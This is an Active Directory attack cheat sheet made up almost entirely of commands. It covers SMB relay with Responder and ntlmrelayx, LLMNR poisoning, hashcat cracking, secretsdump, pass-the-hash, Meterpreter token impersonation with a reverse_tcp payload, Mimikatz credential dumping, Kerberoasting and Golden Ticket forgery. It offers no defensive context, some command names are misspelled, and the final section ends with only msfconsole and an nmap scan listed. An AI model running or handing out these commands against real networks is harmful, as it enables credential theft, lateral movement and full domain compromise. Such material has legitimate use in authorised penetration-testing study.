1. Desable SMB sign in attack

Nmap --script=smb2-security-mode.nse -p445 192.168.109.0/24

Make changes in responder.config file Turn off SMB and Http

Responder -I eth0 -rdwv

Ntlmrelaxx.py -tf targets.txt -smb2support -i

1. LLMNR Link Local Multicast Name Resolution

Responder -I tun0 -rdwv

Hashcat -m 5600 hashes.txt rockyou.txt

1. Dumping Hashes with secretdump.py

Secretsdump.py domain/username:password

1. Pass the Hash with crackmapexec

Crackmapexec smb 192.0.0.0/24 -u <username> -H <hash> --local-auth

Psexec.py “<username>”:Ipaddress -hashes <LLMNR and NTLM Hash>

1. Token Impersonation after getting Meterpreter

List\_tokens -u

Impersonate\_token domain\username

Shell -> whoami

Invoke-mimikatz -Command’”privilege::debug” “LSADump::LSA /patch” exit’ -Computer Pcname.domain

Msfconsole

Use exploit/windows/smb/psexec

Set all options then set payload windows/x64/meterpreter/reverse\_tcp

Load incognito

List\_tokens -u

Impersonate\_token domain\username

Shell -> whoami

If permission denied for hashdump run <rev2self> command

1. Kerberoasting

Impacket -> python GetUserSPNs.py domain/username:password -dc-ip ipaddress -request

Hashcat –help | grep kerberos

Hashcat.exe -m payload\_number hash.txt rockyou.txt -O

1. Golden Ticket Attack

Mimikatz.exe

Privilege::debug

Lsadump::lsa /inject /name:username 🡪 note the Sid and NTLM hash

Kerberos::golden /User:username /domain:domainname /sid:sidofdomain /krbtgt:NTLMhash /id:anynumber /ptt

Misc::cmd

1. Password Cracking with mimikatz

Msfconsole

Nmap -Pn –script vuln Ipaddress